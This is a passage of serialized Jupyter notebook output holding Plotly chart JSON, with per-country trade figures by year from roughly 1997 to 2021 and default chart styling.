0, - 0, - 0, - 0, - 0.1, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "N. MARIANA IS.", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0.38, - 0.07, - 0.18, - 0.06, - 0, - 0, - 0.15, - 0, - 0.23, - 0.03, - 0.17, - 0.02, - 0, - 0.29, - 0.05 - ] - }, - { - "mode": "lines", - "name": "ST PIERRE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2012", - "2013", - "2014", - "2017", - "2018" - ], - "y": [ - 0.02, - 0, - 0, - 0, - 0, - 0.1, - 3.56, - 17.81, - 0.03, - 0.02, - 0.05, - 0.01, - 0, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "CANARY IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014" - ], - "y": [ - 0, - 0, - 0, - 0, - 0.01, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "CHANNEL IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2011", - "2012", - "2013", - "2014" - ], - "y": [ - 0, - 0.32, - 0.25, - 0.05, - 0.05, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "ANTARTICA", - "type": "scatter", - "x": [ - "2004", - "2005", - "2007", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.01, - 0.07, - 0.08, - 0.45, - 0, - 0.41, - 4.84, - 1.11, - 0.05, - 0.03, - 0.08, - 0.67, - 0.54 - ] - }, - { - "mode": "lines", - "name": "FR S ANT TR", - "type": "scatter", - "x": [ - "97", - "98", - "2000", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2015" - ], - "y": [ - 0.01, - 0, - 0, - 0, - 0, - 0.08, - 0, - 0, - 0, - 0, - 0, - 0.01, - 0, - 0.02, - 0.03 - ] - }, - { - "mode": "lines", - "name": "HEARD MACDONALD", - "type": "scatter", - "x": [ - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2012", - "2013", - "2014", - "2017", - "2018" - ], - "y": [ - 0, - 0, - 0.11, - 0, - 0.03, - 0, - 0, - 0.16, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "PACIFIC IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2003", - "2004", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.01, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "MONTENEGRO", - "type": "scatter", - "x": [ - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 1.16, - 0.05, - 0.05, - 0.01, - 0.13, - 0.16, - 0.4, - 0.32 - ] - }, - { - "mode": "lines", - "name": "SAN MARINO", - "type": "scatter", - "x": [ - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.64, - 0.33, - 0.52, - 0.39, - 0.64, - 0.21, - 0.15, - 0.08, - 0.06 - ] - }, - { - "mode": "lines", - "name": "SERBIA", - "type": "scatter", - "x": [ - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.27, - 23.71, - 22.34, - 27.24, - 24.12, - 21.45, - 11.51, - 7.31, - 7.18 - ] - }, - { - "mode": "lines", - "name": "US MINOR OUTLYING ISLANDS", - "type": "scatter", - "x": [ - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.85, - 0.36, - 0.56, - 0.74, - 0.08, - 0.4, - 0.29, - 0.13 - ] - }, - { - "mode": "lines", - "name": "VATICAN CITY", - "type": "scatter", - "x": [ - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.17, - 0, - 0.02, - 0, - 0.09, - 0.18, - 0.02, - 0 - ] - }, - { - "mode": "lines", - "name": "NEUTRAL ZONE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2005", - "2007", - "2008", - "2011" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "SOUTH SUDAN", - "type": "scatter", - "x": [ - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.18, - 70.56, - 89.97, - 7.33, - 1.58, - 0.82 - ] - }, - { - "mode": "lines", - "name": "MAYOTTE", - "type": "scatter", - "x": [ - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.19, - 0.36, - 0.32, - 0.49 - ] - }, - { - "mode": "lines", - "name": "STATE OF PALEST", - "type": "scatter", - "x": [ - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 1.19, - 0.74, - 0.15, - 0.24 - ] - }, - { - "mode": "lines", - "name": "SINT MAARTEN (DUTCH PART)", - "type": "scatter", - "x": [ - "2016", - "2017", - "2019", - "2020" - ], - "y": [ - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "Petroleum Products", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000" - ], - "y": [ - 3345.08, - 0, - 2565.97, - 886.46 - ] - }, - { - "mode": "lines", - "name": "GUERNSEY", - "type": "scatter", - "x": [ - "2017", - "2018", - "2019", - "2020" - ], - "y": [ - 0.23, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "INSTALLATIONS IN INTERNATIONAL WATERS", - "type": "scatter", - "x": [ - "2015", - "2016", - "2017" - ], - "y": [ - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "CURACAO", - "type": "scatter", - "x": [ - "2015", - "2017" - ], - "y": [ - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "JERSEY", - "type": "scatter", - "x": [ - "2017", - "2019" - ], - "y": [ - 0, - 0.14 - ] - }, - { - "mode": "lines", - "name": "SVALLBARD AND J", - "type": "scatter", - "x": [ - "2019" - ], - "y": [ - 0 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "IMPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Import" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Total Trade=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 6.7, - 7.79, - 3.93, - 6.92, - 7.13, - 21.83, - 27.13, - 15.21, - 19.37, - 15.13, - 17.57, - 16.23, - 27.05, - 88.99, - 38.72, - 28.13, - 26.51, - 24.62, - 22.79, - 21.4, - 13.3, - 39.46, - 20.46, - 17.13, - 13.05 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "ICELAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6.7, - 7.79, - 3.93, - 6.92, - 7.13, - 21.83, - 27.13, - 15.21, - 19.37, - 15.13, - 17.57, - 16.23, - 27.05, - 88.99, - 38.72, - 28.13, - 26.51, - 24.62, - 22.79, - 21.4, - 13.3, - 39.46, - 20.46, - 17.13, - 13.05 - ] - }, - { - "mode": "lines", - "name": "HUNGARY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 47.65, - 44.9, - 44.09, - 57.72, - 70.61, - 68.88, - 119.19, - 139.62, - 115.78, - 220.93, - 344.03, - 630.03, - 464.63, - 555.81, - 753.28, - 586.66, - 564.1, - 588.81, - 587.77, - 625.07, - 673.53, - 699.23, - 611.62, - 714.18, - 616.7 - ] - }, - { - "mode": "lines", - "name": "FIJI IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.47, - 9.61, - 16.18, - 0, - 14.11, - 25.46, - 22.12, - 28.89, - 29.91, - 62.83, - 48.65, - 91.07, - 28.02, - 31.46, - 39.3, - 42.38, - 50.74, - 51.55, - 44.52, - 53.12, - 54.73, - 61.51, - 56.27, - 48.24, - 41.08 - ] - }, - { - "mode": "lines", - "name": "EL SALVADOR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 2.38, - 3.23, - 0, - 3.75, - 4.9, - 7.64, - 10.72, - 14.06, - 20.07, - 17.97, - 22.62, - 18.73, - 29.46, - 45.79, - 64.71, - 73.1, - 71.76, - 74.72, - 66.21, - 78.46, - 82.86, - 82.55, - 87.95, - 121.91 - ] - }, - { - "mode": "lines", - "name": "GREENLAND", - "type": "scatter", - "x": [ - "97", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.41, - 0.28, - 0, - 0.16, - 0.06, - 0, - 0.05, - 0.06, - 0.08, - 0.53, - 0.14, - 0.29, - 0.52, - 1.73, - 1.2, - 8.91, - 0, - 0.02, - 0, - 0, - 1.11, - 0 - ] - }, - { - "mode": "lines", - "name": "ST VINCENT", - "type": "scatter", - "x": [ - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 1.65, - 2.21, - 2.04, - 2.55, - 74.65, - 2.69, - 36.84, - 7.84, - 1.4, - 0.37, - 0, - 0, - 0, - 0.76, - 0.55, - 0, - 0, - 0.75, - 0, - 12.8, - 0.67 - ] - }, - { - "mode": "lines", - "name": "ST HELENA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020" - ], - "y": [ - 0, - 0, - 0, - 0.04, - 0, - 0, - 0.88, - 0.15, - 1.26, - 1.88, - 1.63, - 0.22, - 0.09, - 0.36, - 0.11, - 0.13, - 0.12, - 0.3, - 0, - 0.02, - 0.04, - 0.09, - 0.35, - 0.18 - ] - }, - { - "mode": "lines", - "name": "COOK IS", - "type": "scatter", - "x": [ - "97", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0.03, - 0, - 0, - 0.1, - 0.03, - 0, - 0.13, - 0, - 0.12, - 0.15, - 0, - 0, - 0.32, - 0, - 0, - 0.19, - 0.29, - 0, - 0.1, - 0 - ] - }, - { - "mode": "lines", - "name": "WALLIS F IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2016", - "2017", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.25, - 0.1, - 0.65, - 0.06, - 0.18, - 0.16, - 0.08, - 0, - 0, - 0.1, - 1.05, - 0, - 0.06, - 0, - 0.02, - 0 - ] - }, - { - "mode": "lines", - "name": "UNION OF SERBIA & MONTENEGRO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2019" - ], - "y": [ - 9.08, - 9.29, - 6.3, - 9.93, - 7.68, - 5.82, - 20.47, - 13.5, - 10.3, - 13.81, - 17.62, - 27.33, - 18.5, - 26.64, - 43.96, - 84.15, - 35.79, - 22.03, - 4.28, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "PANAMA C Z", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2019" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 9.11, - 3.73, - 9.22, - 5.01, - 0, - 0.7, - 0.97, - 27.65, - 0, - 59.06, - 0, - 21.77, - 44.32, - 0, - 0.46, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "UNSPECIFIED", - "type": "scatter", - "x": [ - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 14799.17, - 16174.92, - 17989.43, - 20963.07, - 26352.73, - 24999.08, - 926.24, - 2144.97, - 5918.31, - 5055.49, - 18707.74, - 17476.02, - 7362.41, - 15641.57, - 11724.12, - 11192.5, - 9813.78, - 11624.3, - 2996.96, - 2670.47, - 789.78, - 771.36 - ] - }, - { - "mode": "lines", - "name": "SAHARWI A.DM RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2004", - "2005", - "2007", - "2008", - "2009", - "2010", - "2011", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "TOKELAU IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2016", - "2018", - "2019" - ], - "y": [ - 0.69, - 0, - 0, - 0.3, - 0.08, - 0.44, - 0, - 0.15, - 0.1, - 0.4, - 0.12, - 0.05, - 0.02, - 14.96, - 0.05, - 0.09, - 0.47, - 0, - 0.05, - 0.02, - 0.08 - ] - }, - { - "mode": "lines", - "name": "PITCAIRN IS.", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2010", - "2011", - "2012", - "2013", - "2016", - "2017", - "2018", - "2019", - "2020" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0.05, - 0, - 0.02, - 0, - 0.07, - 0.04, - 0, - 0, - 0, - 0, - 0, - 0.05, - 0.23, - 0.05, - 0.04, - 0.13 - ] - }, - { - "mode": "lines", - "name": "MARSHALL ISLAND", - "type": "scatter", - "x": [ - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 11.01, - 0.05, - 179.18, - 33.95, - 0.16, - 0.25, - 0.07, - 1.56, - 10.34, - 0.97, - 8.46, - 0.14, - 102.32, - 8.86, - 14.11, - 0.83, - 36.13, - 2.28, - 2.04 - ] - }, - { - "mode": "lines", - "name": "ARUBA", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.46, - 0, - 1.5, - 0, - 1.9, - 0, - 3.42, - 2.79, - 3.11, - 3.47, - 3.91, - 7.23, - 12.18, - 6.84, - 10.18, - 10.17, - 3.6, - 5.87 - ] - }, - { - "mode": "lines", - "name": "FALKLAND IS", - "type": "scatter", - "x": [ - "97", - "98", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2015", - "2018", - "2019", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.27, - 0.06, - 1.04, - 0.8, - 1.39, - 4.39, - 1.44, - 1.75, - 0, - 0.11, - 0 - ] - }, - { - "mode": "lines", - "name": "ANGUILLA", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.17, - 0.26, - 0.15, - 0, - 0.12, - 0.02, - 0.04, - 0.69, - 0.35, - 0.14, - 0.23, - 0.11 - ] - }, - { - "mode": "lines", - "name": "ERITREA", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - 